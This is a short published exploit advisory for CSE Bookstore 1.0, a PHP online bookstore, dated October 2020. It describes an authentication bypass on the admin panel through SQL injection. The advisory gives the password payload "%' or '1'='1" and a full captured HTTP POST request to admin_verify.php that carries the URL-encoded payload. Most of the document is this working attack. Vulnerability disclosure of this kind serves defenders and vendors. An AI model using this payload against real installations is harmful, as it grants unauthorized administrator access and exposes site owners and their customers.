CSE Bookstore 1.0 - Authentication Bypass

# Exploit Title: CSE Bookstore Authentication Bypass
# Date: 27/10/2020
# Exploit Author: Alper Basaran
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Windows 10 Enterprise 1909


CSE Bookstore is vulnerable to an authentication bypass vulnerability on the admin panel. 
By default the admin panel is located at /admin.php and the administrator interface can be accessed by unauthorized users exploiting the SQL injection vulnerability.

Payload: 
Name: admin
Pass: %' or '1'='1 

Sample BurpSuite intercept:

POST /bookstore/admin_verify.php HTTP/1.1
Host: 192.168.20.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://192.168.20.131
Connection: close
Referer: http://192.168.20.131/bookstore/admin.php
Cookie: PHPSESSID=hmqnib0ihkvo235jor7mpfoupv
Upgrade-Insecure-Requests: 1

name=admin&pass=%25%27+or+%271%27%3D%271&submit=Submit+Query